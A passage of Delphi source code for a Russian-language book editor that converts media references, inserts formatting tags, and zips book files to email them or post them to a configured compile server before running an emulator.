with BookSyn.SpaceAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.SplitAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.SubstAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.SymbolAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.ValueAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
for I:=0 to 9 do WriteString(SMacro,IntToStr(I),Macro[I]);
UpdateSettings;
finally
Free;
end;
end;
procedure TfmMain.ChangeStyle(L: TStrings; ToPhone,UpdateList: boolean);
var
I,J,P,Ix,W,A: integer;
S,NS,Q: string;
IL,NL: TStrings;
procedure ProcessStyleToPhone(const Smp: string);
var
I: integer;
begin
W:=FindParam(Smp,AnsiUpperCase(S));
if W>0 then begin
Q:='';
I:=W;
while (I<=Length(S)) and (S[I]<>' ') do begin
Q:=Q+S[I];
inc(I);
end;
A:=IL.IndexOf(Q);
if A>=0 then begin
Ix:=NL.IndexOf(IL[A]);
if Ix<0 then Ix:=NL.Add(IL[A]);
S:=Copy(S,1,W-1)+IntToStr(Ix+1)+Copy(S,W+Length(Q),MaxInt);
end;
end;
end;
procedure ProcessPhoneToStyle(const Smp: string);
var
I: integer;
begin
W:=FindParam(Smp,AnsiUpperCase(S));
if W>0 then begin
Q:='';
I:=W;
while (I<=Length(S)) and (S[I]<>' ') do begin
Q:=Q+S[I];
inc(I);
end;
A:=StrToIntDef(Q,0);
if A>0 then S:=Copy(S,1,W-1)+ListItemFile(lvImages.Items[A-1],TRUE)+Copy(S,W+Length(Q),MaxInt);
end;
end;
procedure ProcessStyleToPhoneKS(Pt: integer);
begin
Q:=StrExtractPart(Pt,S,W);
A:=IL.IndexOf(Q);
if A>=0 then begin
Ix:=NL.IndexOf(IL[A]);
if Ix<0 then Ix:=NL.Add(IL[A]);
S:=StrReplacePart(Pt,W,S,IntToStr(Ix+1));
end;
end;
procedure ProcessPhoneToStyleKS(Pt: integer);
begin
Q:=StrExtractPart(Pt,S,W);
A:=StrToIntDef(Q,0);
if A>0 then S:=StrReplacePart(Pt,W,S,ListItemFile(lvImages.Items[A-1],TRUE));
end;
begin
if ToPhone then begin
for I:=0 to L.Count-1 do begin
S:=AnsiUpperCase(Trim(L[I]));
if Pos(':ROOT',S)=1 then begin
S:=L[I];
P:=Pos(':',S);
S:=Copy(S,1,P-1)+'!'+Copy(S,P,MaxInt);
L[I]:=S;
break;
end;
end;
IL:=TStringList.Create;
NL:=TStringList.Create;
try
FillFileListEx(ExtractFilePath(FFileName),IL,FALSE,['bmp','jpg','gif','png','midi','mid','amr','mp3'],TRUE,FALSE);
for I:=0 to L.Count-1 do begin
S:=L[I];
if (Pos('$STYLE ',AnsiUpperCase(Trim(S)))=1) or (Pos('$KPSTYLE ',AnsiUpperCase(Trim(S)))=1) then begin
ProcessStyleToPhone(' IMAGE=');
ProcessStyleToPhone(' WP=');
ProcessStyleToPhone(' MIDI=');
ProcessStyleToPhone(' AMR=');
ProcessStyleToPhone(' MP3=');
end else if (Pos('$SMILE ',AnsiUpperCase(Trim(S)))=1) or (Pos('$BOOKSMILE ',AnsiUpperCase(Trim(S)))=1) then begin
ProcessStyleToPhoneKS(2);
end else if Pos('$KEYPAD ',AnsiUpperCase(Trim(S)))=1 then begin
ProcessStyleToPhoneKS(4);
ProcessStyleToPhoneKS(5);
end else for J:=0 to IL.Count-1 do begin
NS:=ReplaceText(S,Format('<img:%s>',[IL[J]]),'<img:'#1#1#1':128>');
NS:=ReplaceText(NS,Format('<img:%s:',[IL[J]]),'<img:'#1#1#1':');
if NS<>S then begin
Ix:=NL.IndexOf(IL[J]);
if Ix<0 then Ix:=NL.Add(IL[J]);
S:=ReplaceText(NS,#1#1#1,IntToStr(Ix+1));
end;
end;
L[I]:=S;
end;
if UpdateList then begin
lvImages.Items.Clear;
ilImages.Clear;
for I:=0 to NL.Count-1 do FillListItem(lvImages.Items.Add,ExtractFilePath(FFileName)+NL[I]);
end;
finally
IL.Free;
NL.Free;
end;
end else begin
for I:=0 to L.Count-1 do begin
S:=AnsiUpperCase(Trim(L[I]));
if (S<>'') and (S[1]='!') then begin
S:=Trim(Copy(S,2,MaxInt));
if Pos(':ROOT',S)=1 then begin
S:=L[I];
P:=Pos('!',S);
S:=Copy(S,1,P-1)+Copy(S,P+1,MaxInt);
L[I]:=S;
break;
end;
end;
end;
for I:=0 to L.Count-1 do begin
S:=L[I];
if (Pos('$STYLE ',AnsiUpperCase(Trim(S)))=1) or (Pos('$KPSTYLE ',AnsiUpperCase(Trim(S)))=1) then begin
ProcessPhoneToStyle(' IMAGE=');
ProcessPhoneToStyle(' WP=');
ProcessPhoneToStyle(' MIDI=');
ProcessPhoneToStyle(' AMR=');
ProcessPhoneToStyle(' MP3=');
end else if (Pos('$SMILE ',AnsiUpperCase(Trim(S)))=1) or (Pos('$BOOKSMILE ',AnsiUpperCase(Trim(S)))=1) then begin
ProcessPhoneToStyleKS(2);
end else if Pos('$KEYPAD ',AnsiUpperCase(Trim(S)))=1 then begin
ProcessPhoneToStyleKS(4);
ProcessPhoneToStyleKS(5);
end else for J:=0 to lvImages.Items.Count-1 do S:=ReplaceText(S,Format('<img:%d:',[J+1]),Format('<img:%s:',[ListItemFile(lvImages.Items[J],TRUE)]));
L[I]:=S;
end;
if UpdateList then begin
lvImages.Items.Clear;
ilImages.Clear;
end;
end;
end;
procedure TfmMain.acCompilerSettingsExecute(Sender: TObject);
var
B: boolean;
begin
B:=Settings.PhoneStyle;
if not TfmSettings.ShowInfo then Exit;
SaveSettings;
if Settings.PhoneStyle=B then Exit;
ChangeStyle(Editor.Lines,Settings.PhoneStyle,TRUE);
Editor.Modified:=TRUE;
EditorChange(nil);
end;
procedure TfmMain.acRefreshExecute(Sender: TObject);
var
Res,ID,Code: string;
EC: cardinal;
P: integer;
const
SCmpErr = #13#10'2 Ошибки компиляци';
begin
if Emul<>0 then begin
if GetExitCodeProcess(PI.hProcess,EC) and (EC=STILL_ACTIVE) then TerminateProcess(PI.hProcess,0);
Emul:=0;
pnEmul.Caption:='(эмулятор не запущен)';
end;
Res:=Compile(ID);
Code:=Split(1,Res,[' ']);
Res:=Trim(Copy(Res,Length(Code)+1,MaxInt));
if (Code='0') and (ID<>'') then RunEmulator(ID) else
if Code='2' then begin
Res:=Trim(Split(2,Res,[#10]));
Code:=Trim(Split(2,Res,[#9]));
Res:=Trim(Split(3,Res,[#9]));
Error(Res,StrToIntDef(Code,0));
end else if Pos(SCmpErr,Res)>0 then begin
P:=Pos(SCmpErr,Res);
Res:=Trim(Copy(Res,P+Length(SCmpErr),MaxInt));
Res:=Trim(Split(1,Res,[#10]));
Code:=Trim(Split(2,Res,[#9]));
Res:=Trim(Split(3,Res,[#9]));
Error(Res,StrToIntDef(Code,0));
end else Error(Res);
end;
procedure TfmMain.acAboutExecute(Sender: TObject);
begin
TfmAbout.ShowInfo;
end;
function TfmMain.GetBgColor: TColor;
var
S: string;
I: integer;
begin
Result:=clWhite;
for I:=0 to Editor.Lines.Count-1 do begin
S:=Trim(Editor.Lines[I]);
if (S<>'') and (S[1]='$') and (Pos('$BACKGROUND ',AnsiUpperCase(S))=1) then begin
Result:=ColorBookToWindows(Split(2,S,[' ']),Result);
break;
end;
end;
end;
procedure TfmMain.SetBgColor(const Value: TColor);
var
S: string;
P,I: integer;
Done: boolean;
C: TColor;
begin
Done:=FALSE;
for I:=0 to Editor.Lines.Count-1 do begin
S:=Trim(Editor.Lines[I]);
if (S<>'') and (S[1]='$') and (TxtPos('$BACKGROUND ',S)=1) then begin
if ColorBookToWindowsBool(Split(2,S,[' ']),C) then if C<>Value then begin
S:=Editor.Lines[I];
P:=TxtPos('$BACKGROUND ',S);
if P>0 then begin
Editor.Lines[I]:=Copy(S,1,P+11)+ColorWindowsToBook(Value);
Editor.Modified:=TRUE;
EditorChange(nil);
Done:=TRUE;
break;
end;
end else Exit;
end;
end;
if not Done then begin
Editor.Lines.Insert(0,'$background '+ColorWindowsToBook(Value));
Editor.Modified:=TRUE;
EditorChange(nil);
end;
end;
function TfmMain.GetTitle: string;
var
S: string;
I: integer;
begin
Result:='';
for I:=0 to Editor.Lines.Count-1 do begin
S:=Trim(Editor.Lines[I]);
if (S<>'') and (S[1]='$') and (TxtPos('$TITLE ',S)=1) then begin
Result:=Trim(Copy(S,8,MaxInt));
break;
end;
end;
end;
procedure TfmMain.SetTitle(const Value: string);
var
S: string;
P,I: integer;
Done: boolean;
begin
Done:=FALSE;
for I:=0 to Editor.Lines.Count-1 do begin
S:=Trim(Editor.Lines[I]);
if (S<>'') and (S[1]='$') and (TxtPos('$TITLE ',S)=1) then begin
S:=Editor.Lines[I];
P:=TxtPos('$TITLE ',S);
if P>0 then if Trim(Copy(S,P+7,MaxInt))<>Value then begin
Editor.Lines[I]:=Copy(S,1,P+6)+Value;
Editor.Modified:=TRUE;
EditorChange(nil);
Done:=TRUE;
break;
end else Exit;
end;
end;
if not Done then begin
Editor.Lines.Insert(0,'$title '+Value);
Editor.Modified:=TRUE;
EditorChange(nil);
end;
end;
procedure TfmMain.acBackgroundExecute(Sender: TObject);
begin
ColorDialog.HelpContext:=(Sender as TAction).HelpContext;
with ColorDialog do begin
Color:=BgColor;
if Execute then BgColor:=Color;
end;
end;
procedure TfmMain.acTitleExecute(Sender: TObject);
var
T: string;
begin
T:=Title;
if TfmTitle.ShowInfo(T) then Title:=T;
end;
procedure TfmMain.FillLinks;
var
I: integer;
S: string;
R: TStrings;
begin
R:=TStringList.Create;
try
if Settings.PhoneStyle then R.Add('<ROOT');
for I:=0 to Editor.Lines.Count-1 do begin
S:=Trim(Split(1,Trim(Editor.Lines[I]),['(']));
if (S<>'') and (S[1]=':') then R.Add('<'+AnsiUpperCase(Copy(S,2,MaxInt)));
end;
BookSyn.LinkWords:=R;
R.Clear;
for I:=0 to Editor.Lines.Count-1 do begin
S:=Trim(Split(1,Trim(Editor.Lines[I]),['(']));
if (Length(S)>4) and (S[1]='$') and (S[2] in ['f','F']) and (S[3] in [#9,' ']) then R.Add(AnsiUpperCase(Trim(Copy(S,4,MaxInt))));
end;
BookSyn.FuncWords:=R;
finally
R.Free;
end;
end;
procedure TfmMain.acEditorSettingsExecute(Sender: TObject);
begin
if TfmCustomizeEditor.ShowInfo then SaveSettings;
end;
procedure TfmMain.acPickColorExecute(Sender: TObject);
var
P: TPoint;
DC: HDC;
C: TColor;
begin
GetCursorPos(P);
DC:=GetDC(0);
try
C:=TColor(GetPixel(DC,P.X,P.Y));
finally
ReleaseDC(0,DC);
end;
if TfmShowColor.ShowInfo(C) then BgColor:=C;
end;
procedure TfmMain.Wait;
begin
repeat
Application.ProcessMessages
until Application.Terminated or (SMTP.State in [smtpReady,smtpInternalReady]);
end;
procedure TfmMain.Indicate(const Msg: string);
begin
stStatus.Font.Color:=clPurple;
stStatus.Caption:=' '+Msg;
Application.ProcessMessages;
end;
procedure TfmMain.SendMail(const MailText: string = ''; MailAtt: string = '');
var
N,B,Arc: string;
I: integer;
S: TStrings;
begin
if FFileName='' then acFileSaveExecute(nil);
if FFileName='' then Exit;
StartLog;
StartAppWait;
try
with SMTP do try
Indicate('Построение списка файлов...');
S:=TStringList.Create;
try
Arc:=ExtractFilePath(Application.ExeName)+'book.zip';
if FileExists(Arc) then
if not Windows.DeleteFile(PChar(Arc)) then ShowErr(SysErrorMessage(GetLastError));
try
if MailAtt='' then FillFileList(S,N) else S.Text:=MailAtt;
except
on EAbort do ;
end;
if not Settings.PhoneStyle then begin
Indicate('Архивирование...');
acFileSaveExecute(nil);
if AnsiCompareText(ExtractFileName(FFileName),'book.ini')=0 then B:=FFileName else begin
B:=ExtractFilePath(Application.ExeName)+'book.ini';
CopyFile(PChar(FFileName),PChar(B),FALSE);
end;
S.Add(B);
Zip.OpenArchive(Arc);
for I:=Zip.Count-1 downto 0 do Zip.DeleteAt(I);
Zip.Save;
for I:=0 to S.Count-1 do Zip.AddFiles(S[I],0);
Zip.Save;
Zip.CloseArchive;
end;
if not SMTP.Connected then begin
Indicate('Соединение...');
FError:=FALSE;
Wait;
Open;
Wait;
if FError then Exit;
end;
Indicate('Отправка...');
if Settings.PhoneStyle then begin
EmailFiles:=S;
if MailText='' then MailMessage:=Editor.Lines else MailMessage.Text:=MailText;
HdrSubject:='book';
end else begin
EmailFiles.Text:=Arc;
MailMessage.Text:='';
HdrSubject:=N;
end;
finally
S.Free;
end;
FDone:=FALSE;
FError:=FALSE;
Wait;
Mail;
Wait;
repeat Application.ProcessMessages until FDone or FError;
if FError then Exit;
Indicate('Отправлено');
Wait;
Quit;
Wait;
Indicate('Книга успешно отправлена в Город');
except
on E: Exception do ShowErr(E.Message);
end;
finally
EndAppWait;
end;
end;
procedure TfmMain.CheckRoot(L: TStrings);
var
N,I,P: integer;
S,V: string;
begin
N:=-1;
for I:=0 to L.Count-1 do begin
S:=Trim(L[I]);
if Pos('!$file',AnsiLowerCase(S))=1 then Exit;
if S<>'' then break;
end;
for I:=0 to L.Count-1 do begin
S:=Trim(L[I]);
if S='' then continue;
if (Pos(':ROOT',AnsiUpperCase(S))=1) and ((Length(S)=5) or not (S[6] in ['a'..'z','A'..'Z','_','0'..'9','а'..'я','А'..'Я','ё','Ё'])) then Exit;
if S[1]='!' then begin
V:=Trim(Copy(S,2,MaxInt));
if (Pos(':ROOT',AnsiUpperCase(V))=1) and ((Length(V)=5) or not (V[6] in ['a'..'z','A'..'Z','_','0'..'9','а'..'я','А'..'Я','ё','Ё'])) then begin
P:=Pos('!',L[I]);
L[I]:=Copy(L[I],1,P-1)+Copy(L[I],P+1,MaxInt);
Exit;
end;
end;
if S[1]='$' then continue;
if N<0 then N:=I;
end;
if N<0 then N:=0;
L.Insert(N,':root');
end;
function TfmMain.Compile(var ID: string): string;
var
N,B,Arc,Res: string;
Sock,I: integer;
L,S: TStrings;
const
Header = 'POST http://%s:%d/city/bot/compile HTTP/1.0'#13#10+
'Host: %s:%d'#13#10+
'Content-Type: application/zip'#13#10+
'Content-Length: %d'#13#10+
'x-city-aid: %s'#13#10+
'x-city-owner: %s%s'#13#10#13#10;
begin
ClearErrorLine;
if not Settings.PhoneStyle then CheckRoot(Editor.Lines);
ID:='';
Result:='';
if FFileName='' then acFileSaveExecute(nil);
if FFileName='' then Exit;
StartLog;
StartAppWait;
try
try
Indicate('Построение списка файлов...');
S:=TStringList.Create;
try
Arc:=ExtractFilePath(Application.ExeName)+'book.zip';
if FileExists(Arc) then if not Windows.DeleteFile(PChar(Arc)) then ShowErr(SysErrorMessage(GetLastError));
try
FillFileList(S,N);
except
on EAbort do ;
end;
Indicate('Архивирование...');
acFileSaveExecute(nil);
B:=ExtractFilePath(Application.ExeName)+'book.ini';
CopyFile(PChar(FFileName),PChar(B),FALSE);
if Settings.PhoneStyle then begin
L:=TStringList.Create;
try
L.LoadFromFile(B);
ChangeStyle(L,FALSE,FALSE);
CheckRoot(L);
L.SaveToFile(B);
finally
L.Free;
end;
end;
S.Add(B);
Zip.OpenArchive(Arc);
for I:=Zip.Count-1 downto 0 do Zip.DeleteAt(I);
Zip.Save;
for I:=0 to S.Count-1 do Zip.AddFiles(S[I],0);
Zip.Save;
Zip.CloseArchive;
finally
S.Free;
end;
Indicate('Соединение...');
Sock:=ConnectProxySocket(Settings.JCHost,Settings.JCPort);
try
with TMemoryStream.Create do try
LoadFromFile(Arc);
Seek(0,soFromBeginning);
Res:=Format(Header,[Settings.JCHost,Settings.JCPort,Settings.JCHost,Settings.JCPort,Size,LastAID,Settings.Ident,Settings.Password]);
SendString(Sock,Res);
Indicate('Компиляция...');
SendData(Sock,Memory^,Size);
finally
Free;
end;
Res:=ReceiveString(Sock);
Result:=Split2(2,Res,#13#10#13#10);
if Pos('0 ',Result)=1 then begin
ID:=Trim(Split(2,Result,[#10]));
Indicate('Готово');
end;
finally
DisconnectSocket(Sock);
end;
except
on E: Exception do ShowErr(E.Message);
end;
finally
EndAppWait;
end;
end;
procedure TfmMain.SMTPRequestDone(Sender: TObject; RqType: TSmtpRequest; ErrorCode: Word);
begin
if ErrorCode<>0 then begin
Indicate('Ошибка!');
ShowErr('Ошибка при отправке почты:'#13#10+SMTP.LastResponse);
FError:=TRUE;
end else FDone:=(RqType=smtpMail);
end;
procedure TfmMain.FillFileList(A: TStrings; var N: string);
var
I: integer;
US,S: string;
procedure ProcessImg;
var
F: integer;
R: string;
begin
repeat
F:=AnsiPos('<IMG:',AnsiUpperCase(S));
if F=0 then break;
S:=Trim(Copy(S,F+5,MaxInt));
R:=Split(1,S,[':','>']);
if R<>'' then begin
S:=Copy(S,Length(R)+1,MaxInt);
R:=ExtractFilePath(FFileName)+Trim(R);
if A.IndexOf(R)<0 then A.Add(R);
end;
until Application.Terminated;
end;
procedure ProcessStyle;
var
F,F1,F2,F3: integer;
R: string;
function Duo(A1,A2: integer): integer;
begin
if A1=0 then Result:=A2 else
if A2=0 then Result:=A1 else Result:=Min(A1,A2);
end;
begin
repeat
F1:=AnsiPos(' WP=',AnsiUpperCase(S));
F2:=AnsiPos(' IMAGE=',AnsiUpperCase(S));
if F1=0 then F:=F2 else
if F2=0 then F:=F1 else F:=Min(F1,F2);
if F=0 then begin
F1:=AnsiPos(' MIDI=',AnsiUpperCase(S));
F2:=AnsiPos(' MP3=',AnsiUpperCase(S));
F3:=AnsiPos(' AMR=',AnsiUpperCase(S));
if F1=0 then F:=Duo(F2,F3) else
if F2=0 then F:=Duo(F1,F3) else
if F3=0 then F:=Min(F1,F2) else F:=Min(F3,Min(F1,F2));
end;
if F=0 then break;
S:=Trim(Copy(S,F+1,MaxInt));
R:=Split(2,S,['=',' ',':']);
if R<>'' then begin
R:=ExtractFilePath(FFileName)+Trim(R);
if A.IndexOf(R)<0 then A.Add(R);
F:=Pos(' ',S);
if F=0 then break;
S:=Copy(S,F,MaxInt);
end;
until Application.Terminated;
end;
procedure ProcessPict;
var
P1,P2,T,R: string;
begin
T:=Trim(S);
while Pos(' ',T)>0 do T:=ReplaceStr(T,' ',' ');
if Pos('$KEYPAD ',US)=1 then begin
P1:=Split(4,T,[' ']);
P2:=Split(5,T,[' ']);
R:=ExtractFilePath(FFileName)+Trim(P1);
if A.IndexOf(R)<0 then A.Add(R);
R:=ExtractFilePath(FFileName)+Trim(P2);
if A.IndexOf(R)<0 then A.Add(R);
end else if (Pos('$SMILE ',US)=1) or (Pos('$BOOKSMILE ',US)=1) then begin
P1:=Split(2,T,[' ']);
R:=ExtractFilePath(FFileName)+Trim(P1);
if A.IndexOf(R)<0 then A.Add(R);
end;
end;
procedure ProcessFiles;
begin
if IsStyleString(US) then ProcessStyle else
if IsImgString(US) then ProcessPict else ProcessImg;
end;
begin
A.Clear;
N:='';
if Settings.PhoneStyle then for I:=0 to lvImages.Items.Count-1 do A.Add(ListItemFile(lvImages.Items[I]));
for I:=0 to Editor.Lines.Count-1 do begin
S:=Trim(Editor.Lines[I]);
US:=AnsiUpperCase(S);
if (S<>'') and (S[1]<>'!') then if AnsiPos('$TITLE ',US)=1 then N:=Trim(Copy(S,8,MaxInt)) else if not Settings.PhoneStyle then ProcessFiles;
end;
if N='' then N:='Книга';
end;
procedure TfmMain.acSendExecute(Sender: TObject);
begin
SendMail;
end;
procedure TfmMain.EditorSpecialLineColors(Sender: TObject; Line: Integer; var Special: Boolean; var FG,BG: TColor);
begin
if Line=FErrLine then begin
Special:=TRUE;
FG:=clWhite;
BG:=clRed;
end;
end;
procedure TfmMain.FormClose(Sender: TObject; var Action: TCloseAction);
var
EC: Cardinal;
begin
if (Emul<>0) and GetExitCodeProcess(PI.hProcess,EC) and (EC=STILL_ACTIVE) then TerminateProcess(PI.hProcess,0);
SaveSettings;
TfmShowImage.HideInfo;
TfmShowMusic.HideInfo;
end;
procedure TfmMain.acBoldExecute(Sender: TObject);
begin
Editor.SelText:=Format('<b>%s</b>',[Editor.SelText]);
end;
procedure TfmMain.acItalicExecute(Sender: TObject);
begin
Editor.SelText:=Format('<i>%s</i>',[Editor.SelText]);
end;
procedure TfmMain.acUnderlineExecute(Sender: TObject);
begin
Editor.SelText:=Format('<u>%s</u>',[Editor.SelText]);
end;
procedure TfmMain.acBigExecute(Sender: TObject);
begin
Editor.SelText:=Format('<big>%s</big>',[Editor.SelText]);
end;
procedure TfmMain.acSmallExecute(Sender: TObject);
begin
Editor.SelText:=Format('<small>%s</small>',[Editor.SelText]);
end;
procedure TfmMain.acFindExecute(Sender: TObject);
begin
fdEditor.Execute;
end;
procedure TfmMain.acFindNextExecute(Sender: TObject);
begin
fdEditorFind(nil);
end;
procedure TfmMain.acReplaceExecute(Sender: TObject);
begin
rdEditor.Execute;
end;
procedure TfmMain.acSelectAllExecute(Sender: TObject);
begin
Editor.SelectAll;
end;
procedure TfmMain.acCutExecute(Sender: TObject);
begin
Editor.CutToClipboard;
end;
procedure TfmMain.acCopyExecute(Sender: TObject);
begin
Editor.CopyToClipboard;
end;
procedure TfmMain.acPasteExecute(Sender: TObject);
begin
Editor.PasteFromClipboard;
end;
procedure TfmMain.acUndoExecute(Sender: TObject);
begin
Editor.Undo;
end;
procedure TfmMain.acRedoExecute(Sender: TObject);
begin
Editor.Redo;
end;
procedure TfmMain.fdEditorFind(Sender: TObject);
var
Opt: TmwSearchOptions;
begin
if Sender=fdEditor then fdEditor.CloseDialog;
Opt:=[];
if frMatchCase in fdEditor.Options then include(Opt,mwsoMatchCase);
if frWholeWord in fdEditor.Options then include(Opt,mwsoWholeWord);
if not (frDown in fdEditor.Options) then include(Opt,mwsoBackwards);
Editor.SearchReplace(fdEditor.FindText,'',Opt);
end;
procedure TfmMain.rdEditorReplace(Sender: TObject);
var
Opt: TmwSearchOptions;
begin
Opt:=[];
if frMatchCase in rdEditor.Options then include(Opt,mwsoMatchCase);
if frWholeWord in rdEditor.Options then include(Opt,mwsoWholeWord);
if frReplace in rdEditor.Options then include(Opt,mwsoReplace);
if frReplaceAll in rdEditor.Options then include(Opt,mwsoReplaceAll);
if not (frDown in rdEditor.Options) then include(Opt,mwsoBackwards);
Editor.SearchReplace(rdEditor.FindText,rdEditor.ReplaceText,Opt);
end;
function TfmMain.AddPicture(const FN: string): string;
var
PF,FF,QF,NF: string;
I: integer;
begin
if FFileName='' then acFileSaveExecute(nil);
if FFileName='' then Abort;
QF:=AnsiLowerCase(FN);
FF:=ExtractFilePath(FFileName);
PF:=ExtractFilePath(QF);
if AnsiCompareText(PF,FF)=0 then NF:=QF else begin
NF:=FF+AnsiLowerCase(ExtractFileName(QF));
I:=0;
while FileExists(NF) do begin
if (FileSize(NF)=FileSize(QF)) and (FileAge(NF)=FileAge(QF)) then break;
inc(I);
NF:=FF+ChangeFileExt(AnsiLowerCase(ExtractFileName(QF)),'')+IntToStr(I)+ExtractFileExt(QF);
end;
CopyFile(PChar(QF),PChar(NF),TRUE);
end;
Result:=ExtractFileName(NF);
end;
procedure TfmMain.acPictureExecute(Sender: TObject);
var
L,F,S,T,N: string;
P1,P2,P,D,Idx: integer;
begin
if OpenPictureDialog.Execute then begin
F:=AddPicture(OpenPictureDialog.FileName);
if Settings.PhoneStyle then begin
Idx:=FindListItem(F);
if Idx<0 then begin
FillListItem(lvImages.Items.Add,ExtractFilePath(FFileName)+F);
Idx:=lvImages.Items.Count-1;
end;
end else Idx:=-1;
if Idx>=0 then F:=IntToStr(Idx+1);
L:=Editor.Lines[Editor.CaretY-1];
S:=AnsiUpperCase(Trim(L));
if IsStyleString(S) then begin
S:=AnsiUpperCase(L);
P1:=Pos(' WP=',S);
P2:=Pos(' IMAGE=',S);
if P1=0 then P:=P2 else
if P2=0 then P:=P1 else P:=Min(P1,P2);
if P<>0 then begin
T:=Copy(S,P+1,MaxInt);
D:=Pos('=',T)+P;
N:=Copy(L,1,D)+F;
D:=Pos(' ',T)+P;
if P>0 then N:=N+Copy(L,D,MaxInt);
end else N:=L+' image='+F;
if N<>L then begin
Editor.Lines[Editor.CaretY-1]:=N;
Editor.Modified:=TRUE;
end;
end else if IsImgString(S) then begin
P:=0;
P1:=0;
if Pos('$KEYPAD',S)=1 then begin
P1:=StrFindPart(4,S);
P2:=StrFindPart(5,S);
if Editor.CaretX>=P2 then begin
P:=5;
P1:=P2;
end else P:=4;
end else if (Pos('$SMILE',S)=1) or (Pos('$BOOKSMILE',S)=1) then begin
P1:=StrFindPart(2,S);
P:=2;
end;
if P>0 then begin
Editor.Lines[Editor.CaretY-1]:=StrReplacePart(P,P1,Editor.Lines[Editor.CaretY-1],F);
Editor.Modified:=TRUE;
end;
end else if Settings.PhoneStyle then Editor.SelText:=Format('<img:%d:128>',[Idx+1]) else Editor.SelText:=Format('<img:%s>',[F]);
end;
end;
procedure TfmMain.acMusicExecute(Sender: TObject);
var
L,F,T,N: string;
Idx: integer;
function DelMus(const L: string): string;
var
P: integer;
LC,T: string;
begin
Result:=L;
repeat
LC:=AnsiUpperCase(Result);
P:=Pos(' MIDI=',LC);
if P=0 then P:=Pos(' MP3=',LC);
if P=0 then P:=Pos(' AMR=',LC);
if P=0 then break;
T:=Copy(Result,P+1,MaxInt);
Result:=Copy(Result,1,P-1);
LC:=Copy(LC,P+1,MaxInt);
P:=Pos(' ',LC);
if P>0 then Result:=Result+Copy(T,P,MaxInt);
until Application.Terminated;
end;
begin
if MusicOpenDialog.Execute then begin
F:=AddPicture(MusicOpenDialog.FileName);
T:=MusType(F);
if T='' then ShowErr('Формат файла не поддерживается') else begin
if Settings.PhoneStyle then begin
Idx:=FindListItem(F);
if Idx<0 then begin
FillListItem(lvImages.Items.Add,ExtractFilePath(FFileName)+F);
Idx:=lvImages.Items.Count-1;
end;
end else Idx:=-1;
if Idx>=0 then F:=IntToStr(Idx+1);
L:=Editor.Lines[Editor.CaretY-1];
N:=DelMus(L);
N:=Format('%s %s=%s',[N,T,F]);
if N<>L then begin
Editor.Lines[Editor.CaretY-1]:=N;
Editor.Modified:=TRUE;
end;
end;
end;
end;
procedure TfmMain.acColorExecute(Sender: TObject);
begin
ColorDialog.HelpContext:=(Sender as TAction).HelpContext;
ColorDialog.Color:=FLastFontColor;
if ColorDialog.Execute then begin
FLastFontColor:=ColorDialog.Color;
Editor.SelText:=Format('<color:%s>',[StandardColor(ColorWindowsToBook(FLastFontColor))]);
end;
end;
procedure TfmMain.acAlignLeftExecute(Sender: TObject);
begin
CurPara:='<p>';
end;
procedure TfmMain.acAlignCenterExecute(Sender: TObject);
begin
CurPara:='<pc>';
end;
procedure TfmMain.acAlignRightExecute(Sender: TObject);
begin
CurPara:='<pr>';
end;
procedure TfmMain.acAlignPoetExecute(Sender: TObject);
begin
CurPara:='<ps>';
end;
function GetP(const S: string; From: integer): string;
begin
if From=0 then Result:='' else begin
Result:=Copy(S,From,3);
if Result[3]<>'>' then Result:=Result+S[From+3];
end;
end;
function CurPPos(const S: string): integer;
var
P,PC,PR,PS: integer;
begin
if Pos('<P',S)=0 then Result:=0 else begin
P:=LastPos('<P>',S);
PC:=LastPos('<PC>',S);
PR:=LastPos('<PR>',S);
PS:=LastPos('<PS>',S);
Result:=AMax([P,PR,PS,PC]);
end;
end;
function TfmMain.GetCurPara: string;
var
S: string;
I: integer;
begin
S:=AnsiUpperCase(Copy(Editor.Lines[Editor.CaretY-1],1,Editor.CaretX));
Result:=GetP(S,CurPPos(S));
if Result<>'' then Exit;
for I:=Editor.CaretY-2 downto 0 do begin
S:=AnsiUpperCase(Editor.Lines[I]);
Result:=GetP(S,CurPPos(S));
if Result<>'' then break;
end;
end;
procedure TfmMain.SetCurPara(const Value: string);
var
P,S: string;
L,I,CPP: integer;
begin
if ShiftPressed then Editor.SelText:=Value else begin
S:=AnsiUpperCase(Copy(Editor.Text,1,Editor.GetSelStart));
CPP:=CurPPos(S);
P:=GetP(S,CPP);
if P<>AnsiUpperCase(Value) then if CPP=0 then begin
L:=Editor.CaretY-1;
S:=Editor.Lines[L];
I:=1;
if S<>'' then while S[I] in [#1..#32] do inc(I);
Insert(Value,S,I);
Editor.Lines[L]:=S;
Editor.Modified:=TRUE;
EditorChange(nil);
end else begin
Editor.SetSelStart(CPP);
Editor.SetSelEnd(CPP+Length(P));
Editor.SelText:=Value;
end;
end;
end;
procedure TfmMain.EditorSelectionChange(Sender: TObject);
var
L: integer;
P: string;
begin
L:=0;
P:=AnsiUpperCase(EditorToken);
if P<>'' then begin
L:=KeyWords.IndexOf(P);
if L>=0 then L:=integer(KeyWords.Objects[L])+1300 else L:=0;
end;
Editor.HelpContext:=L+2000;
SelTimer.Enabled:=FALSE;
SelTimer.Enabled:=TRUE;
end;
procedure TfmMain.AppHint(Sender: TObject);
begin
sbMain.Panels[1].Text:=' '+Application.Hint;
end;
procedure TfmMain.acAddExecute(Sender: TObject);
begin
if OpenPictureDialog.Execute then begin
FillListItem(lvImages.Items.Add,AddPicture(OpenPictureDialog.FileName));
Editor.Modified:=TRUE;
EditorChange(nil);
end;
end;
procedure TfmMain.acDeleteExecute(Sender: TObject);
var
I,J,Idx,New: integer;
S: string;
begin
if lvImages.Selected=nil then Exit;
Idx:=lvImages.Selected.Index+1;
